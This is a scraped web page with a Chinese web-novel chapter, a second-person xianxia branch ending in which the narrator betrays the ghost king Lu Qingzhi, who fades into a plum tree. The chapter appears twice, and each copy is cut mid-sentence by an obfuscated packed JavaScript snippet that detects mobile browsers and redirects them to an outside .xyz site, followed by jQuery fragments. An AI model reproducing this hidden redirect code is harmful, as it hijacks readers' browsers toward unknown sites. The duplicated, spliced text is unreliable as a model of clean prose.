49. 支线结局二、妄念
小
大
支线结局二、妄念
陆轻之看向你的眼神，像是一只不想被抛弃的路边小猫，期待着你说出他的真名，却在听到你口中的那两个字后，堕入绝望深渊。
你说：
“陆京。”
“他叫陆京。”
名妖哈哈大笑，在你说出口的那一瞬间她便感觉妖力大增，顿时化为无数条笔墨向陆轻之飞去！
“好一个西南鬼王，鼎鼎大名的西南鬼王竟被人类玩弄于鼓掌之间！这鬼王之位还不如让我来坐！”
陆轻之面对名妖的袭击也奋起反抗，一时间大妖和鬼王的斗法精彩纷呈，你坐在院子里看他们斗法，眼神一错不错盯着陆轻之，却发现他的眼里除了失望，没有任何对你的愤怒或者谴责。
这是什么意思呢？
你看不明白这鬼王，却又觉得心里像是漏了一块，呼呼吹着大风，但你不后悔。
大妖不愧是大妖，成为大妖的她美貌无双，实力更是成倍增加，最终陆轻之被她打得半跪在地，一身的力量被吸去大半，就连人形都维持不了，脚下竟生出树根来。
“行了吧，看你也活不了多久，留你一条命。”
大妖对陆轻之说，又转而看向你。
“姑娘，他这是欠了你什么啊？”
你撑着脸摇头：“可能很多吧，但我也没打算想起以前那些事，多谢姐姐帮我报仇。”
大妖挥挥手，“小事。”
然后离开了谈以山脉。
陆轻之脚下的树根越来越多，你慢慢走进蹲下，发现居然是梅花树，了然。
“院子里那棵梅花树，是你的本体吗？”
陆轻之点头，眼里依旧没有愤怒，只有如水般的平静。
“这般看着我作甚？”你勾起一根树枝在指尖把玩，“难不成还想着让我恢复记忆，好忆起从前同你的纠缠？”
陆轻之眸光闪动，问：“雪娘……你是怎么知道我已经……”
恢复记忆了？
“这些日子你都在透过我看另一个人，我又不瞎。更何况拥有这种命运和特质能是什么美好记忆，不是你死就是我死，我对这种记忆不感兴趣，还不如当成张废纸丢掉。”
他眼里的光逐渐熄灭，完全无法接受你把从前宝贵的记忆当成废纸，抿唇一言不发。
“你再多说几句遗言呗，堂堂西南鬼王怎能就这样死得不明不白？”
陆轻之却再没有开过口，脚下的树根已经深深扎进地里，整个人的虚影也越来越透明，似乎随时都要回归梅花树本体。
鬼王无实体，只能寄托实物附身来到阳间，而这棵梅花树，则是陆轻之的附身之物。现在陆轻之即将消散，鬼门紧闭，他总会慢慢化为梅花树，最后失去所有意识。
太阳照常升起，第二天陆轻之已经奄奄一息，你则搬了个摇椅在他旁边坐着，说：“要是你这棵树还能留下，院子里就有两棵梅花树了，到了夏天还能在树下纳凉。”
完全没考虑谈以山脉终年下雪，夏天又哪里来的炎热？
陆轻之终于说话了。
“好。”
好什么好，这鬼王真不想活了？
“真搞不懂你，有些人想拼命活下来，你却一个劲找死，就这么不想活吗？”
陆轻之垂眸不语，阳光打在他的脸上更是让他白得透明，看起来脆弱不堪。
你彻底明白了他此刻传达的意志——他已心存死志。
“真是晦气。”
你不愿再看他这副沮丧模样，转身进屋为自己做饭。自小被卖到农家当童养媳，长大到了国师府又要照顾师弟师妹，你练就了一手精湛厨艺。
就着陆轻之以前留下的蔬果做了一桌子色香味俱全的饭菜，你仔细摆盘，然后端到了院里的桌上。
让陆轻之看着你吃。
“我的厨艺比某些人好太多，只是我不想做。”你边吃边说，“也不想给某人吃。”
陆轻之只眉眼柔和地看着你，对桌上的美食不感兴趣，满心满心满眼都是你。
“若是有机会，我定会提升厨艺好让雪娘满意。”他说着，又垂下眼来，“只可惜没机会了。”
吃个饭都不安生，你把筷子一撂走到他身前，问：“陆轻之。”
“嗯？”陆轻之轻声应你。
“你离开后，我会找个人改嫁，那个人也许是之前被我吸引到的散修，也许是寻常的贩夫走卒。我虽不愿生儿育女，但凡夫俗子总讲究一个传宗接代，所以我愿意为他养小妾的孩子，甘愿因他蹉跎一生，最终老死。”你眼波流转，居高临下看着他，“然后选择不入轮回。”
陆轻之眼中戾气闪过，眉头深深皱起：“雪娘，不可。”
“有何不可？”
你紧盯他的脸，不肯错漏一丝表情。
“你不能这样糟践自己。”
“这就是糟践自己了吗？我还没说完呢，要是我的相公觉得我太过强势，我还会废去一身修为，为他做个贤惠妻子。只是到时候他可能会嫌弃我赚不到钱，然后把我卖去青楼，或者拉人到家里来做皮肉生意，不过这些都是我自愿的。或许他还会嫌弃我是个下不了蛋的母鸡，让我看着他和小妾繁育子嗣，用我卖的钱……”
你说的这些，全是育婴堂的真实写照。
“够了，不要再说了！”陆轻之眼尾发红，原本就有些透明的身体更是摇摇欲坠，甚至有黑气蔓延。
“你看，你根本没有你想的那样洒脱，即便执意去死，也希望我带着对你的记忆活下来，为你守节，但世上哪有这么好的事呢？”
你要把他的面具层层撕下，看看内里到底是什么东西，毕竟你会甘愿他就这么轻而易举死去？
“雪娘，不准，我不准！”陆轻之眼中的红已经蔓延到了瞳孔，当真如厉鬼般恐怖。
“你准不准我都会这样做，陆轻之，你应该知我杀你的决心，你以为你还能活下去吗？”
陆轻之跪在地上，看向你的眼神充满乞求，又带着自灵魂深处的占有欲。
“不……雪娘，你不能这样做，我可以去死，我立刻就能去死，答应我雪娘，你不会这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876274|166239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
你启唇，四个字轻而易举击溃他。
“我不答应。”
他颓然倒在地上，手指死死扣住散落的泥土，眼里又是凄然又是痛苦，你却是只坐在他距离不远处，静静看着他。
日头西斜，桌上的菜你再没动过，仿佛变成了守着他的稻草人。他也像一颗平静的梅花树那样栽在地里，垂着眼睛，不知道在想什么。
直至奄奄一息。
四十九个时辰后，陆轻之的身影已经淡到看不出颜色，他可能预感到自己大限将至，挣扎着抬起头来，想看你最后一眼，你叼着饼子与他对视，依旧生机勃勃。
“陆轻之，最后真没什么要跟我说的？”
“雪娘……”
他看着你的脸，忽而笑了，笑容居然是从未有过的释怀。
“雪娘，答应我为自己而活好吗……不要因为我去做那些事……你已经是人了……”
他的声音很轻，稍不注意听就会被吹散在风里，你却能全部捕捉，且对此感到疑惑。
他居然在临死前都求你为自己好好活，这人脑子里到底在想什么？被情情爱爱冲昏了头脑吗？
你摸不着头脑，所以并没有回答他，只静静注视着他的最后一抹身影，天地之间就只剩下了一颗干枯的梅树。
“陆轻之，你死了吗？”
没人回应，只有天空洋洋洒洒飘落下一阵雪风，成片的雪花飞扬在你发间，遮住了所有。
“好，我答应你。”你说。
等到他离开，你才愿意说出这句承诺，这场报复里根本没有谁是赢家。
雪一直下，白茫茫铺满了谈以山脉，眼瞧着天色差不多，你飞身离开院落回到鬼门前，一掌封印鬼门，感觉一股熟悉的鬼气萦绕掌心。
陆轻之把他最后的鬼气留给了你，早已从怨魂转化为人类的你已经能把这鬼气渡化成修为，从而封印鬼门。
三年后，你自鬼门前离开，身体已经金光功德一片，据说当时来探查的散修只看到个无情道大能飞升而去。
“国师府的首席弟子修了无情道，居然飞升成仙了！”
坊间不知什么时候开始流传出这样的谣言，但天地间确实再找不见你的身影，很多人都信以为真，甚至国师府的师弟师妹也相信你已经飞升了。只有束星会偶尔回到谈以山脉打扫庭院，失去主人法力维持的院落逐渐破败，他用了很多种方法都无法维持原貌。
“时间真是过去很久了啊，你们留下的院子，我怎么扫也扫不干净，”束星对那两棵梅花树说，“不过这院子活这么久也该歇息了，你们也该歇息了。”
他看着树良久，在洗干净的石桌上摆了三杯酒。
“敬你们，避灾祸，消战乱。”
梅花树摇动，洒落一地花瓣，不知什么时候朔风再来，细雪倾洒，又将这地方染成纯白，再没束星来过的痕迹。
国师大人千年前占卜的预言还有一句。
动妄念，消战乱、灾祸和……
一切的源头。
——end
陆轻之看向你的眼神，像是一只不想被抛弃的路边小猫，期待着你说出他的真名，却在听到你口中的那两个字后，堕入绝望深渊。
你说：
“陆京。”
“他叫陆京。”
名妖哈哈大笑，在你说出口的那一瞬间她便感觉妖力大增，顿时化为无数条笔墨向陆轻之飞去！
“好一个西南鬼王，鼎鼎大名的西南鬼王竟被人类玩弄于鼓掌之间！这鬼王之位还不如让我来坐！”
陆轻之面对名妖的袭击也奋起反抗，一时间大妖和鬼王的斗法精彩纷呈，你坐在院子里看他们斗法，眼神一错不错盯着陆轻之，却发现他的眼里除了失望，没有任何对你的愤怒或者谴责。
这是什么意思呢？
你看不明白这鬼王，却又觉得心里像是漏了一块，呼呼吹着大风，但你不后悔。
大妖不愧是大妖，成为大妖的她美貌无双，实力更是成倍增加，最终陆轻之被她打得半跪在地，一身的力量被吸去大半，就连人形都维持不了，脚下竟生出树根来。
“行了吧，看你也活不了多久，留你一条命。”
大妖对陆轻之说，又转而看向你。
“姑娘，他这是欠了你什么啊？”
你撑着脸摇头：“可能很多吧，但我也没打算想起以前那些事，多谢姐姐帮我报仇。”
大妖挥挥手，“小事。”
然后离开了谈以山脉。
陆轻之脚下的树根越来越多，你慢慢走进蹲下，发现居然是梅花树，了然。
“院子里那棵梅花树，是你的本体吗？”
陆轻之点头，眼里依旧没有愤怒，只有如水般的平静。
“这般看着我作甚？”你勾起一根树枝在指尖把玩，“难不成还想着让我恢复记忆，好忆起从前同你的纠缠？”
陆轻之眸光闪动，问：“雪娘……你是怎么知道我已经……”
恢复记忆了？
“这些日子你都在透过我看另一个人，我又不瞎。更何况拥有这种命运和特质能是什么美好记忆，不是你死就是我死，我对这种记忆不感兴趣，还不如当成张废纸丢掉。”
他眼里的光逐渐熄灭，完全无法接受你把从前宝贵的记忆当成废纸，抿唇一言不发。
“你再多说几句遗言呗，堂堂西南鬼王怎能就这样死得不明不白？”
陆轻之却再没有开过口，脚下的树根已经深深扎进地里，整个人的虚影也越来越透明，似乎随时都要回归梅花树本体。
鬼王无实体，只能寄托实物附身来到阳间，而这棵梅花树，则是陆轻之的附身之物。现在陆轻之即将消散，鬼门紧闭，他总会慢慢化为梅花树，最后失去所有意识。
太阳照常升起，第二天陆轻之已经奄奄一息，你则搬了个摇椅在他旁边坐着，说：“要是你这棵树还能留下，院子里就有两棵梅花树了，到了夏天还能在树下纳凉。”
完全没考虑谈以山脉终年下雪，夏天又哪里来的炎热？
陆轻之终于说话了。
“好。”
好什么好，这鬼王真不想活了？
“真搞不懂你，有些人想拼命活下来，你却一个劲找死，就这么不想活吗？”
陆轻之垂眸不语，阳光打在他的脸上更是让他白得透明，看起来脆弱不堪。
你彻底明白了他此刻传达的意志——他已心存死志。
“真是晦气。”
你不愿再看他这副沮丧模样，转身进屋为自己做饭。自小被卖到农家当童养媳，长大到了国师府又要照顾师弟师妹，你练就了一手精湛厨艺。
就着陆轻之以前留下的蔬果做了一桌子色香味俱全的饭菜，你仔细摆盘，然后端到了院里的桌上。
让陆轻之看着你吃。
“我的厨艺比某些人好太多，只是我不想做。”你边吃边说，“也不想给某人吃。”
陆轻之只眉眼柔和地看着你，对桌上的美食不感兴趣，满心满心满眼都是你。
“若是有机会，我定会提升厨艺好让雪娘满意。”他说着，又垂下眼来，“只可惜没机会了。”
吃个饭都不安生，你把筷子一撂走到他身前，问：“陆轻之。”
“嗯？”陆轻之轻声应你。
“你离开后，我会找个人改嫁，那个人也许是之前被我吸引到的散修，也许是寻常的贩夫走卒。我虽不愿生儿育女，但凡夫俗子总讲究一个传宗接代，所以我愿意为他养小妾的孩子，甘愿因他蹉跎一生，最终老死。”你眼波流转，居高临下看着他，“然后选择不入轮回。”
陆轻之眼中戾气闪过，眉头深深皱起：“雪娘，不可。”
“有何不可？”
你紧盯他的脸，不肯错漏一丝表情。
“你不能这样糟践自己。”
“这就是糟践自己了吗？我还没说完呢，要是我的相公觉得我太过强势，我还会废去一身修为，为他做个贤惠妻子。只是到时候他可能会嫌弃我赚不到钱，然后把我卖去青楼，或者拉人到家里来做皮肉生意，不过这些都是我自愿的。或许他还会嫌弃我是个下不了蛋的母鸡，让我看着他和小妾繁育子嗣，用我卖的钱……”
你说的这些，全是育婴堂的真实写照。
“够了，不要再说了！”陆轻之眼尾发红，原本就有些透明的身体更是摇摇欲坠，甚至有黑气蔓延。
“你看，你根本没有你想的那样洒脱，即便执意去死，也希望我带着对你的记忆活下来，为你守节，但世上哪有这么好的事呢？”
你要把他的面具层层撕下，看看内里到底是什么东西，毕竟你会甘愿他就这么轻而易举死去？
“雪娘，不准，我不准！”陆轻之眼中的红已经蔓延到了瞳孔，当真如厉鬼般恐怖。
“你准不准我都会这样做，陆轻之，你应该知我杀你的决心，你以为你还能活下去吗？”
陆轻之跪在地上，看向你的眼神充满乞求，又带着自灵魂深处的占有欲。
“不……雪娘，你不能这样做，我可以去死，我立刻就能去死，答应我雪娘，你不会这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876274|166239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
你启唇，四个字轻而易举击溃他。
“我不答应。”
他颓然倒在地上，手指死死扣住散落的泥土，眼里又是凄然又是痛苦，你却是只坐在他距离不远处，静静看着他。
日头西斜，桌上的菜你再没动过，仿佛变成了守着他的稻草人。他也像一颗平静的梅花树那样栽在地里，垂着眼睛，不知道在想什么。
直至奄奄一息。
四十九个时辰后，陆轻之的身影已经淡到看不出颜色，他可能预感到自己大限将至，挣扎着抬起头来，想看你最后一眼，你叼着饼子与他对视，依旧生机勃勃。
“陆轻之，最后真没什么要跟我说的？”
“雪娘……”
他看着你的脸，忽而笑了，笑容居然是从未有过的释怀。
“雪娘，答应我为自己而活好吗……不要因为我去做那些事……你已经是人了……”
他的声音很轻，稍不注意听就会被吹散在风里，你却能全部捕捉，且对此感到疑惑。
他居然在临死前都求你为自己好好活，这人脑子里到底在想什么？被情情爱爱冲昏了头脑吗？
你摸不着头脑，所以并没有回答他，只静静注视着他的最后一抹身影，天地之间就只剩下了一颗干枯的梅树。
“陆轻之，你死了吗？”
没人回应，只有天空洋洋洒洒飘落下一阵雪风，成片的雪花飞扬在你发间，遮住了所有。
“好，我答应你。”你说。
等到他离开，你才愿意说出这句承诺，这场报复里根本没有谁是赢家。
雪一直下，白茫茫铺满了谈以山脉，眼瞧着天色差不多，你飞身离开院落回到鬼门前，一掌封印鬼门，感觉一股熟悉的鬼气萦绕掌心。
陆轻之把他最后的鬼气留给了你，早已从怨魂转化为人类的你已经能把这鬼气渡化成修为，从而封印鬼门。
三年后，你自鬼门前离开，身体已经金光功德一片，据说当时来探查的散修只看到个无情道大能飞升而去。
“国师府的首席弟子修了无情道，居然飞升成仙了！”
坊间不知什么时候开始流传出这样的谣言，但天地间确实再找不见你的身影，很多人都信以为真，甚至国师府的师弟师妹也相信你已经飞升了。只有束星会偶尔回到谈以山脉打扫庭院，失去主人法力维持的院落逐渐破败，他用了很多种方法都无法维持原貌。
“时间真是过去很久了啊，你们留下的院子，我怎么扫也扫不干净，”束星对那两棵梅花树说，“不过这院子活这么久也该歇息了，你们也该歇息了。”
他看着树良久，在洗干净的石桌上摆了三杯酒。
“敬你们，避灾祸，消战乱。”
梅花树摇动，洒落一地花瓣，不知什么时候朔风再来，细雪倾洒，又将这地方染成纯白，再没束星来过的痕迹。
国师大人千年前占卜的预言还有一句。
动妄念，消战乱、灾祸和……
一切的源头。
——end